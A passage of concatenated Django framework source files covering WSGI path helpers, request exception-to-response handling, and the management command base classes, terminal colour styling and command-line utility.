    # rewrites. Unfortunately not every Web server (lighttpd!) passes this
    # information through all the time, so FORCE_SCRIPT_NAME, above, is still
    # needed.
    script_url = get_bytes_from_wsgi(environ, 'SCRIPT_URL', '')
    if not script_url:
        script_url = get_bytes_from_wsgi(environ, 'REDIRECT_URL', '')

    if script_url:
        if b'//' in script_url:
            # mod_wsgi squashes multiple successive slashes in PATH_INFO,
            # do the same with script_url before manipulating paths (#17133).
            script_url = _slashes_re.sub(b'/', script_url)
        path_info = get_bytes_from_wsgi(environ, 'PATH_INFO', '')
        script_name = script_url[:-len(path_info)] if path_info else script_url
    else:
        script_name = get_bytes_from_wsgi(environ, 'SCRIPT_NAME', '')

    return script_name.decode(UTF_8)


def get_bytes_from_wsgi(environ, key, default):
    """
    Get a value from the WSGI environ dictionary as bytes.

    key and default should be str objects. Under Python 2 they may also be
    unicode objects provided they only contain ASCII characters.
    """
    value = environ.get(str(key), str(default))
    # Under Python 3, non-ASCII values in the WSGI environ are arbitrarily
    # decoded with ISO-8859-1. This is wrong for Django websites where UTF-8
    # is the default. Re-encode to recover the original bytestring.
    return value.encode(ISO_8859_1) if six.PY3 else value


def get_str_from_wsgi(environ, key, default):
    """
    Get a value from the WSGI environ dictionary as str.

    key and default should be str objects. Under Python 2 they may also be
    unicode objects provided they only contain ASCII characters.
    """
    value = get_bytes_from_wsgi(environ, key, default)
    return value.decode(UTF_8, errors='replace') if six.PY3 else value












from __future__ import unicode_literals

import logging
import sys
import warnings
from functools import wraps

from django.conf import settings
from django.core import signals
from django.core.exceptions import PermissionDenied, SuspiciousOperation
from django.http import Http404
from django.http.multipartparser import MultiPartParserError
from django.urls import get_resolver, get_urlconf
from django.utils.decorators import available_attrs
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_text
from django.views import debug

logger = logging.getLogger('django.request')


def convert_exception_to_response(get_response):
    """
    Wrap the given get_response callable in exception-to-response conversion.

    All exceptions will be converted. All known 4xx exceptions (Http404,
    PermissionDenied, MultiPartParserError, SuspiciousOperation) will be
    converted to the appropriate response, and all other exceptions will be
    converted to 500 responses.

    This decorator is automatically applied to all middleware to ensure that
    no middleware leaks an exception and that the next middleware in the stack
    can rely on getting a response instead of an exception.
    """
    @wraps(get_response, assigned=available_attrs(get_response))
    def inner(request):
        try:
            response = get_response(request)
        except Exception as exc:
            response = response_for_exception(request, exc)
        return response
    return inner


def response_for_exception(request, exc):
    if isinstance(exc, Http404):
        if settings.DEBUG:
            response = debug.technical_404_response(request, exc)
        else:
            response = get_exception_response(request, get_resolver(get_urlconf()), 404, exc)

    elif isinstance(exc, PermissionDenied):
        logger.warning(
            'Forbidden (Permission denied): %s', request.path,
            extra={'status_code': 403, 'request': request},
        )
        response = get_exception_response(request, get_resolver(get_urlconf()), 403, exc)

    elif isinstance(exc, MultiPartParserError):
        logger.warning(
            'Bad request (Unable to parse request body): %s', request.path,
            extra={'status_code': 400, 'request': request},
        )
        response = get_exception_response(request, get_resolver(get_urlconf()), 400, exc)

    elif isinstance(exc, SuspiciousOperation):
        # The request logger receives events for any problematic request
        # The security logger receives events for all SuspiciousOperations
        security_logger = logging.getLogger('django.security.%s' % exc.__class__.__name__)
        security_logger.error(
            force_text(exc),
            extra={'status_code': 400, 'request': request},
        )
        if settings.DEBUG:
            response = debug.technical_500_response(request, *sys.exc_info(), status_code=400)
        else:
            response = get_exception_response(request, get_resolver(get_urlconf()), 400, exc)

    elif isinstance(exc, SystemExit):
        # Allow sys.exit() to actually exit. See tickets #1023 and #4701
        raise

    else:
        signals.got_request_exception.send(sender=None, request=request)
        response = handle_uncaught_exception(request, get_resolver(get_urlconf()), sys.exc_info())

    # Force a TemplateResponse to be rendered.
    if not getattr(response, 'is_rendered', True) and callable(getattr(response, 'render', None)):
        response = response.render()

    return response


def get_exception_response(request, resolver, status_code, exception, sender=None):
    try:
        callback, param_dict = resolver.resolve_error_handler(status_code)
        # Unfortunately, inspect.getargspec result is not trustable enough
        # depending on the callback wrapping in decorators (frequent for handlers).
        # Falling back on try/except:
        try:
            response = callback(request, **dict(param_dict, exception=exception))
        except TypeError:
            warnings.warn(
                "Error handlers should accept an exception parameter. Update "
                "your code as this parameter will be required in Django 2.0",
                RemovedInDjango20Warning, stacklevel=2
            )
            response = callback(request, **param_dict)
    except Exception:
        signals.got_request_exception.send(sender=sender, request=request)
        response = handle_uncaught_exception(request, resolver, sys.exc_info())

    return response


def handle_uncaught_exception(request, resolver, exc_info):
    """
    Processing for any otherwise uncaught exceptions (those that will
    generate HTTP 500 responses).
    """
    if settings.DEBUG_PROPAGATE_EXCEPTIONS:
        raise

    logger.error(
        'Internal Server Error: %s', request.path,
        exc_info=exc_info,
        extra={'status_code': 500, 'request': request},
    )

    if settings.DEBUG:
        return debug.technical_500_response(request, *exc_info)

    # Return an HttpResponse that displays a friendly error message.
    callback, param_dict = resolver.resolve_error_handler(500)
    return callback(request, **param_dict)






# -*- coding: utf-8 -*-
"""
Base classes for writing management commands (named commands which can
be executed through ``django-admin`` or ``manage.py``).
"""
from __future__ import unicode_literals

import os
import sys
from argparse import ArgumentParser

import django
from django.core import checks
from django.core.exceptions import ImproperlyConfigured
from django.core.management.color import color_style, no_style
from django.db import DEFAULT_DB_ALIAS, connections
from django.db.migrations.exceptions import MigrationSchemaMissing
from django.utils.encoding import force_str


class CommandError(Exception):
    """
    Exception class indicating a problem while executing a management
    command.

    If this exception is raised during the execution of a management
    command, it will be caught and turned into a nicely-printed error
    message to the appropriate output stream (i.e., stderr); as a
    result, raising this exception (with a sensible description of the
    error) is the preferred way to indicate that something has gone
    wrong in the execution of a command.
    """
    pass


class SystemCheckError(CommandError):
    """
    The system check framework detected unrecoverable errors.
    """
    pass


class CommandParser(ArgumentParser):
    """
    Customized ArgumentParser class to improve some error messages and prevent
    SystemExit in several occasions, as SystemExit is unacceptable when a
    command is called programmatically.
    """
    def __init__(self, cmd, **kwargs):
        self.cmd = cmd
        super(CommandParser, self).__init__(**kwargs)

    def parse_args(self, args=None, namespace=None):
        # Catch missing argument for a better error message
        if (hasattr(self.cmd, 'missing_args_message') and
                not (args or any(not arg.startswith('-') for arg in args))):
            self.error(self.cmd.missing_args_message)
        return super(CommandParser, self).parse_args(args, namespace)

    def error(self, message):
        if self.cmd._called_from_command_line:
            super(CommandParser, self).error(message)
        else:
            raise CommandError("Error: %s" % message)


def handle_default_options(options):
    """
    Include any default options that all commands should accept here
    so that ManagementUtility can handle them before searching for
    user commands.
    """
    if options.settings:
        os.environ['DJANGO_SETTINGS_MODULE'] = options.settings
    if options.pythonpath:
        sys.path.insert(0, options.pythonpath)


class OutputWrapper(object):
    """
    Wrapper around stdout/stderr
    """
    @property
    def style_func(self):
        return self._style_func

    @style_func.setter
    def style_func(self, style_func):
        if style_func and self.isatty():
            self._style_func = style_func
        else:
            self._style_func = lambda x: x

    def __init__(self, out, style_func=None, ending='\n'):
        self._out = out
        self.style_func = None
        self.ending = ending

    def __getattr__(self, name):
        return getattr(self._out, name)

    def isatty(self):
        return hasattr(self._out, 'isatty') and self._out.isatty()

    def write(self, msg, style_func=None, ending=None):
        ending = self.ending if ending is None else ending
        if ending and not msg.endswith(ending):
            msg += ending
        style_func = style_func or self.style_func
        self._out.write(force_str(style_func(msg)))


class BaseCommand(object):
    """
    The base class from which all management commands ultimately
    derive.

    Use this class if you want access to all of the mechanisms which
    parse the command-line arguments and work out what code to call in
    response; if you don't need to change any of that behavior,
    consider using one of the subclasses defined in this file.

    If you are interested in overriding/customizing various aspects of
    the command-parsing and -execution behavior, the normal flow works
    as follows:

    1. ``django-admin`` or ``manage.py`` loads the command class
       and calls its ``run_from_argv()`` method.

    2. The ``run_from_argv()`` method calls ``create_parser()`` to get
       an ``ArgumentParser`` for the arguments, parses them, performs
       any environment changes requested by options like
       ``pythonpath``, and then calls the ``execute()`` method,
       passing the parsed arguments.

    3. The ``execute()`` method attempts to carry out the command by
       calling the ``handle()`` method with the parsed arguments; any
       output produced by ``handle()`` will be printed to standard
       output and, if the command is intended to produce a block of
       SQL statements, will be wrapped in ``BEGIN`` and ``COMMIT``.

    4. If ``handle()`` or ``execute()`` raised any exception (e.g.
       ``CommandError``), ``run_from_argv()`` will  instead print an error
       message to ``stderr``.

    Thus, the ``handle()`` method is typically the starting point for
    subclasses; many built-in commands and command types either place
    all of their logic in ``handle()``, or perform some additional
    parsing work in ``handle()`` and then delegate from it to more
    specialized methods as needed.

    Several attributes affect behavior at various steps along the way:

    ``can_import_settings``
        A boolean indicating whether the command needs to be able to
        import Django settings; if ``True``, ``execute()`` will verify
        that this is possible before proceeding. Default value is
        ``True``.

    ``help``
        A short description of the command, which will be printed in
        help messages.

    ``output_transaction``
        A boolean indicating whether the command outputs SQL
        statements; if ``True``, the output will automatically be
        wrapped with ``BEGIN;`` and ``COMMIT;``. Default value is
        ``False``.

    ``requires_migrations_checks``
        A boolean; if ``True``, the command prints a warning if the set of
        migrations on disk don't match the migrations in the database.

    ``requires_system_checks``
        A boolean; if ``True``, entire Django project will be checked for errors
        prior to executing the command. Default value is ``True``.
        To validate an individual application's models
        rather than all applications' models, call
        ``self.check(app_configs)`` from ``handle()``, where ``app_configs``
        is the list of application's configuration provided by the
        app registry.

    ``leave_locale_alone``
        A boolean indicating whether the locale set in settings should be
        preserved during the execution of the command instead of translations
        being deactivated.

        Default value is ``False``.

        Make sure you know what you are doing if you decide to change the value
        of this option in your custom command if it creates database content
        that is locale-sensitive and such content shouldn't contain any
        translations (like it happens e.g. with django.contrib.auth
        permissions) as activating any locale might cause unintended effects.

        This option can't be False when the can_import_settings option is set
        to False too because attempting to deactivate translations needs access
        to settings. This condition will generate a CommandError.
    """
    # Metadata about this command.
    help = ''

    # Configuration shortcuts that alter various logic.
    _called_from_command_line = False
    can_import_settings = True
    output_transaction = False  # Whether to wrap the output in a "BEGIN; COMMIT;"
    leave_locale_alone = False
    requires_migrations_checks = False
    requires_system_checks = True

    def __init__(self, stdout=None, stderr=None, no_color=False):
        self.stdout = OutputWrapper(stdout or sys.stdout)
        self.stderr = OutputWrapper(stderr or sys.stderr)
        if no_color:
            self.style = no_style()
        else:
            self.style = color_style()
            self.stderr.style_func = self.style.ERROR

    def get_version(self):
        """
        Return the Django version, which should be correct for all built-in
        Django commands. User-supplied commands can override this method to
        return their own version.
        """
        return django.get_version()

    def create_parser(self, prog_name, subcommand):
        """
        Create and return the ``ArgumentParser`` which will be used to
        parse the arguments to this command.
        """
        parser = CommandParser(
            self, prog="%s %s" % (os.path.basename(prog_name), subcommand),
            description=self.help or None,
        )
        parser.add_argument('--version', action='version', version=self.get_version())
        parser.add_argument(
            '-v', '--verbosity', action='store', dest='verbosity', default=1,
            type=int, choices=[0, 1, 2, 3],
            help='Verbosity level; 0=minimal output, 1=normal output, 2=verbose output, 3=very verbose output',
        )
        parser.add_argument(
            '--settings',
            help=(
                'The Python path to a settings module, e.g. '
                '"myproject.settings.main". If this isn\'t provided, the '
                'DJANGO_SETTINGS_MODULE environment variable will be used.'
            ),
        )
        parser.add_argument(
            '--pythonpath',
            help='A directory to add to the Python path, e.g. "/home/djangoprojects/myproject".',
        )
        parser.add_argument('--traceback', action='store_true', help='Raise on CommandError exceptions')
        parser.add_argument(
            '--no-color', action='store_true', dest='no_color', default=False,
            help="Don't colorize the command output.",
        )
        self.add_arguments(parser)
        return parser

    def add_arguments(self, parser):
        """
        Entry point for subclassed commands to add custom arguments.
        """
        pass

    def print_help(self, prog_name, subcommand):
        """
        Print the help message for this command, derived from
        ``self.usage()``.
        """
        parser = self.create_parser(prog_name, subcommand)
        parser.print_help()

    def run_from_argv(self, argv):
        """
        Set up any environment changes requested (e.g., Python path
        and Django settings), then run this command. If the
        command raises a ``CommandError``, intercept it and print it sensibly
        to stderr. If the ``--traceback`` option is present or the raised
        ``Exception`` is not ``CommandError``, raise it.
        """
        self._called_from_command_line = True
        parser = self.create_parser(argv[0], argv[1])

        options = parser.parse_args(argv[2:])
        cmd_options = vars(options)
        # Move positional args out of options to mimic legacy optparse
        args = cmd_options.pop('args', ())
        handle_default_options(options)
        try:
            self.execute(*args, **cmd_options)
        except Exception as e:
            if options.traceback or not isinstance(e, CommandError):
                raise

            # SystemCheckError takes care of its own formatting.
            if isinstance(e, SystemCheckError):
                self.stderr.write(str(e), lambda x: x)
            else:
                self.stderr.write('%s: %s' % (e.__class__.__name__, e))
            sys.exit(1)
        finally:
            connections.close_all()

    def execute(self, *args, **options):
        """
        Try to execute this command, performing system checks if needed (as
        controlled by the ``requires_system_checks`` attribute, except if
        force-skipped).
        """
        if options['no_color']:
            self.style = no_style()
            self.stderr.style_func = None
        if options.get('stdout'):
            self.stdout = OutputWrapper(options['stdout'])
        if options.get('stderr'):
            self.stderr = OutputWrapper(options['stderr'], self.stderr.style_func)

        saved_locale = None
        if not self.leave_locale_alone:
            # Only mess with locales if we can assume we have a working
            # settings file, because django.utils.translation requires settings
            # (The final saying about whether the i18n machinery is active will be
            # found in the value of the USE_I18N setting)
            if not self.can_import_settings:
                raise CommandError("Incompatible values of 'leave_locale_alone' "
                                   "(%s) and 'can_import_settings' (%s) command "
                                   "options." % (self.leave_locale_alone,
                                                 self.can_import_settings))
            # Deactivate translations, because django-admin creates database
            # content like permissions, and those shouldn't contain any
            # translations.
            from django.utils import translation
            saved_locale = translation.get_language()
            translation.deactivate_all()

        try:
            if self.requires_system_checks and not options.get('skip_checks'):
                self.check()
            if self.requires_migrations_checks:
                self.check_migrations()
            output = self.handle(*args, **options)
            if output:
                if self.output_transaction:
                    connection = connections[options.get('database', DEFAULT_DB_ALIAS)]
                    output = '%s\n%s\n%s' % (
                        self.style.SQL_KEYWORD(connection.ops.start_transaction_sql()),
                        output,
                        self.style.SQL_KEYWORD(connection.ops.end_transaction_sql()),
                    )
                self.stdout.write(output)
        finally:
            if saved_locale is not None:
                translation.activate(saved_locale)
        return output

    def _run_checks(self, **kwargs):
        return checks.run_checks(**kwargs)

    def check(self, app_configs=None, tags=None, display_num_errors=False,
              include_deployment_checks=False, fail_level=checks.ERROR):
        """
        Uses the system check framework to validate entire Django project.
        Raises CommandError for any serious message (error or critical errors).
        If there are only light messages (like warnings), they are printed to
        stderr and no exception is raised.
        """
        all_issues = self._run_checks(
            app_configs=app_configs,
            tags=tags,
            include_deployment_checks=include_deployment_checks,
        )

        header, body, footer = "", "", ""
        visible_issue_count = 0  # excludes silenced warnings

        if all_issues:
            debugs = [e for e in all_issues if e.level < checks.INFO and not e.is_silenced()]
            infos = [e for e in all_issues if checks.INFO <= e.level < checks.WARNING and not e.is_silenced()]
            warnings = [e for e in all_issues if checks.WARNING <= e.level < checks.ERROR and not e.is_silenced()]
            errors = [e for e in all_issues if checks.ERROR <= e.level < checks.CRITICAL and not e.is_silenced()]
            criticals = [e for e in all_issues if checks.CRITICAL <= e.level and not e.is_silenced()]
            sorted_issues = [
                (criticals, 'CRITICALS'),
                (errors, 'ERRORS'),
                (warnings, 'WARNINGS'),
                (infos, 'INFOS'),
                (debugs, 'DEBUGS'),
            ]

            for issues, group_name in sorted_issues:
                if issues:
                    visible_issue_count += len(issues)
                    formatted = (
                        self.style.ERROR(force_str(e))
                        if e.is_serious()
                        else self.style.WARNING(force_str(e))
                        for e in issues)
                    formatted = "\n".join(sorted(formatted))
                    body += '\n%s:\n%s\n' % (group_name, formatted)

        if visible_issue_count:
            header = "System check identified some issues:\n"

        if display_num_errors:
            if visible_issue_count:
                footer += '\n'
            footer += "System check identified %s (%s silenced)." % (
                "no issues" if visible_issue_count == 0 else
                "1 issue" if visible_issue_count == 1 else
                "%s issues" % visible_issue_count,
                len(all_issues) - visible_issue_count,
            )

        if any(e.is_serious(fail_level) and not e.is_silenced() for e in all_issues):
            msg = self.style.ERROR("SystemCheckError: %s" % header) + body + footer
            raise SystemCheckError(msg)
        else:
            msg = header + body + footer

        if msg:
            if visible_issue_count:
                self.stderr.write(msg, lambda x: x)
            else:
                self.stdout.write(msg)

    def check_migrations(self):
        """
        Print a warning if the set of migrations on disk don't match the
        migrations in the database.
        """
        from django.db.migrations.executor import MigrationExecutor
        try:
            executor = MigrationExecutor(connections[DEFAULT_DB_ALIAS])
        except ImproperlyConfigured:
            # No databases are configured (or the dummy one)
            return
        except MigrationSchemaMissing:
            self.stdout.write(self.style.NOTICE(
                "\nNot checking migrations as it is not possible to access/create the django_migrations table."
            ))
            return

        plan = executor.migration_plan(executor.loader.graph.leaf_nodes())
        if plan:
            apps_waiting_migration = sorted(set(migration.app_label for migration, backwards in plan))
            self.stdout.write(
                self.style.NOTICE(
                    "\nYou have %(unpplied_migration_count)s unapplied migration(s). "
                    "Your project may not work properly until you apply the "
                    "migrations for app(s): %(apps_waiting_migration)s." % {
                        "unpplied_migration_count": len(plan),
                        "apps_waiting_migration": ", ".join(apps_waiting_migration),
                    }
                )
            )
            self.stdout.write(self.style.NOTICE("Run 'python manage.py migrate' to apply them.\n"))

    def handle(self, *args, **options):
        """
        The actual logic of the command. Subclasses must implement
        this method.
        """
        raise NotImplementedError('subclasses of BaseCommand must provide a handle() method')


class AppCommand(BaseCommand):
    """
    A management command which takes one or more installed application labels
    as arguments, and does something with each of them.

    Rather than implementing ``handle()``, subclasses must implement
    ``handle_app_config()``, which will be called once for each application.
    """
    missing_args_message = "Enter at least one application label."

    def add_arguments(self, parser):
        parser.add_argument('args', metavar='app_label', nargs='+', help='One or more application label.')

    def handle(self, *app_labels, **options):
        from django.apps import apps
        try:
            app_configs = [apps.get_app_config(app_label) for app_label in app_labels]
        except (LookupError, ImportError) as e:
            raise CommandError("%s. Are you sure your INSTALLED_APPS setting is correct?" % e)
        output = []
        for app_config in app_configs:
            app_output = self.handle_app_config(app_config, **options)
            if app_output:
                output.append(app_output)
        return '\n'.join(output)

    def handle_app_config(self, app_config, **options):
        """
        Perform the command's actions for app_config, an AppConfig instance
        corresponding to an application label given on the command line.
        """
        raise NotImplementedError(
            "Subclasses of AppCommand must provide"
            "a handle_app_config() method.")


class LabelCommand(BaseCommand):
    """
    A management command which takes one or more arbitrary arguments
    (labels) on the command line, and does something with each of
    them.

    Rather than implementing ``handle()``, subclasses must implement
    ``handle_label()``, which will be called once for each label.

    If the arguments should be names of installed applications, use
    ``AppCommand`` instead.
    """
    label = 'label'
    missing_args_message = "Enter at least one %s." % label

    def add_arguments(self, parser):
        parser.add_argument('args', metavar=self.label, nargs='+')

    def handle(self, *labels, **options):
        output = []
        for label in labels:
            label_output = self.handle_label(label, **options)
            if label_output:
                output.append(label_output)
        return '\n'.join(output)

    def handle_label(self, label, **options):
        """
        Perform the command's actions for ``label``, which will be the
        string as given on the command line.
        """
        raise NotImplementedError('subclasses of LabelCommand must provide a handle_label() method')






"""
Sets up the terminal color scheme.
"""

import os
import sys

from django.utils import lru_cache, termcolors


def supports_color():
    """
    Returns True if the running system's terminal supports color,
    and False otherwise.
    """
    plat = sys.platform
    supported_platform = plat != 'Pocket PC' and (plat != 'win32' or 'ANSICON' in os.environ)

    # isatty is not always implemented, #6223.
    is_a_tty = hasattr(sys.stdout, 'isatty') and sys.stdout.isatty()
    if not supported_platform or not is_a_tty:
        return False
    return True


class Style(object):
    pass


def make_style(config_string=''):
    """
    Create a Style object from the given config_string.

    If config_string is empty django.utils.termcolors.DEFAULT_PALETTE is used.
    """

    style = Style()

    color_settings = termcolors.parse_color_setting(config_string)

    # The nocolor palette has all available roles.
    # Use that palette as the basis for populating
    # the palette as defined in the environment.
    for role in termcolors.PALETTES[termcolors.NOCOLOR_PALETTE]:
        if color_settings:
            format = color_settings.get(role, {})
            style_func = termcolors.make_style(**format)
        else:
            def style_func(x):
                return x
        setattr(style, role, style_func)

    # For backwards compatibility,
    # set style for ERROR_OUTPUT == ERROR
    style.ERROR_OUTPUT = style.ERROR

    return style


@lru_cache.lru_cache(maxsize=None)
def no_style():
    """
    Returns a Style object with no color scheme.
    """
    return make_style('nocolor')


def color_style():
    """
    Returns a Style object from the Django color scheme.
    """
    if not supports_color():
        return no_style()
    return make_style(os.environ.get('DJANGO_COLORS', ''))






from __future__ import unicode_literals

import os
import pkgutil
import sys
from collections import OrderedDict, defaultdict
from importlib import import_module

import django
from django.apps import apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.core.management.base import (
    BaseCommand, CommandError, CommandParser, handle_default_options,
)
from django.core.management.color import color_style
from django.utils import autoreload, lru_cache, six
from django.utils._os import npath, upath
from django.utils.encoding import force_text


def find_commands(management_dir):
    """
    Given a path to a management directory, returns a list of all the command
    names that are available.

    Returns an empty list if no commands are defined.
    """
    command_dir = os.path.join(management_dir, 'commands')
    return [name for _, name, is_pkg in pkgutil.iter_modules([npath(command_dir)])
            if not is_pkg and not name.startswith('_')]


def load_command_class(app_name, name):
    """
    Given a command name and an application name, returns the Command
    class instance. All errors raised by the import process
    (ImportError, AttributeError) are allowed to propagate.
    """
    module = import_module('%s.management.commands.%s' % (app_name, name))
    return module.Command()


@lru_cache.lru_cache(maxsize=None)
def get_commands():
    """
    Returns a dictionary mapping command names to their callback applications.

    This works by looking for a management.commands package in django.core, and
    in each installed application -- if a commands package exists, all commands
    in that package are registered.

    Core commands are always included. If a settings module has been
    specified, user-defined commands will also be included.

    The dictionary is in the format {command_name: app_name}. Key-value
    pairs from this dictionary can then be used in calls to
    load_command_class(app_name, command_name)

    If a specific version of a command must be loaded (e.g., with the
    startapp command), the instantiated module can be placed in the
    dictionary in place of the application name.

    The dictionary is cached on the first call and reused on subsequent
    calls.
    """
    commands = {name: 'django.core' for name in find_commands(upath(__path__[0]))}

    if not settings.configured:
        return commands

    for app_config in reversed(list(apps.get_app_configs())):
        path = os.path.join(app_config.path, 'management')
        commands.update({name: app_config.name for name in find_commands(path)})

    return commands


def call_command(command_name, *args, **options):
    """
    Calls the given command, with the given options and args/kwargs.

    This is the primary API you should use for calling specific commands.

    `name` may be a string or a command object. Using a string is preferred
    unless the command object is required for further processing or testing.

    Some examples:
        call_command('migrate')
        call_command('shell', plain=True)
        call_command('sqlmigrate', 'myapp')

        from django.core.management.commands import flush
        cmd = flush.Command()
        call_command(cmd, verbosity=0, interactive=False)
        # Do something with cmd ...
    """
    if isinstance(command_name, BaseCommand):
        # Command object passed in.
        command = command_name
        command_name = command.__class__.__module__.split('.')[-1]
    else:
        # Load the command object by name.
        try:
            app_name = get_commands()[command_name]
        except KeyError:
            raise CommandError("Unknown command: %r" % command_name)

        if isinstance(app_name, BaseCommand):
            # If the command is already loaded, use it directly.
            command = app_name
        else:
            command = load_command_class(app_name, command_name)

    # Simulate argument parsing to get the option defaults (see #10080 for details).
    parser = command.create_parser('', command_name)
    # Use the `dest` option name from the parser option
    opt_mapping = {
        sorted(s_opt.option_strings)[0].lstrip('-').replace('-', '_'): s_opt.dest
        for s_opt in parser._actions if s_opt.option_strings
    }
    arg_options = {opt_mapping.get(key, key): value for key, value in options.items()}
    defaults = parser.parse_args(args=[force_text(a) for a in args])
    defaults = dict(defaults._get_kwargs(), **arg_options)
    # Move positional args out of options to mimic legacy optparse
    args = defaults.pop('args', ())
    if 'skip_checks' not in options:
        defaults['skip_checks'] = True

    return command.execute(*args, **defaults)


class ManagementUtility(object):
    """
    Encapsulates the logic of the django-admin and manage.py utilities.

    A ManagementUtility has a number of commands, which can be manipulated
    by editing the self.commands dictionary.
    """
    def __init__(self, argv=None):
        self.argv = argv or sys.argv[:]
        self.prog_name = os.path.basename(self.argv[0])
        self.settings_exception = None

    def main_help_text(self, commands_only=False):
        """
        Returns the script's main help text, as a string.
        """
        if commands_only:
            usage = sorted(get_commands().keys())
        else:
            usage = [
                "",
                "Type '%s help <subcommand>' for help on a specific subcommand." % self.prog_name,
                "",
                "Available subcommands:",
            ]
            commands_dict = defaultdict(lambda: [])
            for name, app in six.iteritems(get_commands()):
                if app == 'django.core':
                    app = 'django'
                else:
                    app = app.rpartition('.')[-1]
                commands_dict[app].append(name)
            style = color_style()
            for app in sorted(commands_dict.keys()):
                usage.append("")
                usage.append(style.NOTICE("[%s]" % app))
                for name in sorted(commands_dict[app]):
                    usage.append("    %s" % name)
            # Output an extra note if settings are not properly configured
            if self.settings_exception is not None:
                usage.append(style.NOTICE(
                    "Note that only Django core commands are listed "
                    "as settings are not properly configured (error: %s)."
                    % self.settings_exception))

        return '\n'.join(usage)

    def fetch_command(self, subcommand):
        """
        Tries to fetch the given subcommand, printing a message with the
        appropriate command called from the command line (usually
        "django-admin" or "manage.py") if it can't be found.
        """
        # Get commands outside of try block to prevent swallowing exceptions
        commands = get_commands()
        try:
            app_name = commands[subcommand]
        except KeyError:
            if os.environ.get('DJANGO_SETTINGS_MODULE'):
                # If `subcommand` is missing due to misconfigured settings, the
                # following line will retrigger an ImproperlyConfigured exception
                # (get_commands() swallows the original one) so the user is
                # informed about it.
                settings.INSTALLED_APPS
            else:
                sys.stderr.write("No Django settings specified.\n")
            sys.stderr.write(
                "Unknown command: %r\nType '%s help' for usage.\n"
                % (subcommand, self.prog_name)
            )
            sys.exit(1)
        if isinstance(app_name, BaseCommand):
            # If the command is already loaded, use it directly.
            klass = app_name
        else:
            klass = load_command_class(app_name, subcommand)
        return klass

    def autocomplete(self):
        """
        Output completion suggestions for BASH.

        The output of this function is passed to BASH's `COMREPLY` variable and
        treated as completion suggestions. `COMREPLY` expects a space
        separated string as the result.

        The `COMP_WORDS` and `COMP_CWORD` BASH environment variables are used
        to get information about the cli input. Please refer to the BASH
        man-page for more information about this variables.

        Subcommand options are saved as pairs. A pair consists of
        the long option string (e.g. '--exclude') and a boolean
        value indicating if the option requires arguments. When printing to
        stdout, an equal sign is appended to options which require arguments.

        Note: If debugging this function, it is recommended to write the debug
        output in a separate file. Otherwise the debug output will be treated
        and formatted as potential completion suggestions.
        """
        # Don't complete if user hasn't sourced bash_completion file.
        if 'DJANGO_AUTO_COMPLETE' not in os.environ:
            return

        cwords = os.environ['COMP_WORDS'].split()[1:]
        cword = int(os.environ['COMP_CWORD'])

        try:
            curr = cwords[cword - 1]
        except IndexError:
            curr = ''

        subcommands = list(get_commands()) + ['help']
        options = [('--help', False)]

        # subcommand
        if cword == 1:
            print(' '.join(sorted(filter(lambda x: x.startswith(curr), subcommands))))
        # subcommand options
        # special case: the 'help' subcommand has no options
        elif cwords[0] in subcommands and cwords[0] != 'help':
            subcommand_cls = self.fetch_command(cwords[0])
            # special case: add the names of installed apps to options
            if cwords[0] in ('dumpdata', 'sqlmigrate', 'sqlsequencereset', 'test'):
                try:
                    app_configs = apps.get_app_configs()
                    # Get the last part of the dotted path as the app name.
                    options.extend((app_config.label, 0) for app_config in app_configs)
                except ImportError:
                    # Fail silently if DJANGO_SETTINGS_MODULE isn't set. The
                    # user will find out once they execute the command.
                    pass
            parser = subcommand_cls.create_parser('', cwords[0])
            options.extend(
                (sorted(s_opt.option_strings)[0], s_opt.nargs != 0)
                for s_opt in parser._actions if s_opt.option_strings
            )
            # filter out previously specified options from available options
            prev_opts = [x.split('=')[0] for x in cwords[1:cword - 1]]
            options = [opt for opt in options if opt[0] not in prev_opts]

            # filter options by current input
            options = sorted((k, v) for k, v in options if k.startswith(curr))
            for option in options:
                opt_label = option[0]
                # append '=' to options which require args
                if option[1]:
                    opt_label += '='
                print(opt_label)
        # Exit code of the bash completion function is never passed back to
        # the user, so it's safe to always exit with 0.
        # For more details see #25420.
        sys.exit(0)

    def execute(self):
        """
        Given the command-line arguments, this figures out which subcommand is
        being run, creates a parser appropriate to that command, and runs it.
        """
        try:
            subcommand = self.argv[1]
        except IndexError:
            subcommand = 'help'  # Display help if no arguments were given.

        # Preprocess options to extract --settings and --pythonpath.
        # These options could affect the commands that are available, so they
        # must be processed early.
        parser = CommandParser(None, usage="%(prog)s subcommand [options] [args]", add_help=False)
        parser.add_argument('--settings')
        parser.add_argument('--pythonpath')
        parser.add_argument('args', nargs='*')  # catch-all
        try:
            options, args = parser.parse_known_args(self.argv[2:])
            handle_default_options(options)
        except CommandError:
            pass  # Ignore any option errors at this point.

        no_settings_commands = [
            'help', 'version', '--help', '--version', '-h',
            'startapp', 'startproject', 'compilemessages',
        ]

        try:
            settings.INSTALLED_APPS
        except ImproperlyConfigured as exc:
            self.settings_exception = exc
            # A handful of built-in management commands work without settings.
            # Load the default settings -- where INSTALLED_APPS is empty.
            if subcommand in no_settings_commands:
                settings.configure()

        if settings.configured:
            # Start the auto-reloading dev server even if the code is broken.
            # The hardcoded condition is a code smell but we can't rely on a
            # flag on the command class because we haven't located it yet.
            if subcommand == 'runserver' and '--noreload' not in self.argv:
                try:
                    autoreload.check_errors(django.setup)()
                except Exception:
                    # The exception will be raised later in the child process
                    # started by the autoreloader. Pretend it didn't happen by
                    # loading an empty list of applications.
                    apps.all_models = defaultdict(OrderedDict)
                    apps.app_configs = OrderedDict()
                    apps.apps_ready = apps.models_ready = apps.ready = True

            # In all other cases, django.setup() is required to succeed.
            else:
                django.setup()

        self.autocomplete()

        if subcommand == 'help':
            if '--commands' in args:
                sys.stdout.write(self.main_help_text(commands_only=True) + '\n')
            elif len(options.args) < 1:
                sys.stdout.write(self.main_help_text() + '\n')
            else:
                self.fetch_command(options.args[0]).print_help(self.prog_name, options.args[0])
        # Special-cases: We want 'django-admin --version' and
        # 'django-admin --help' to work, for backwards compatibility.
        elif subcommand == 'version' or self.argv[1:] == ['--version']:
            sys.stdout.write(django.get_version() + '\n')
        elif self.argv[1:] in (['--help'], ['-h']):
            sys.stdout.write(self.main_help_text() + '\n')
        else:
            self.fetch_command(subcommand).run_from_argv(self.argv)


def execute_from_command_line(argv=None):
    """
    A simple method that runs a ManagementUtility.
    """
    utility = ManagementUtility(argv)
    utility.execute()






from __future__ import unicode_literals

import os
import sys
from subprocess import PIPE, Popen

from django.apps import apps as installed_apps
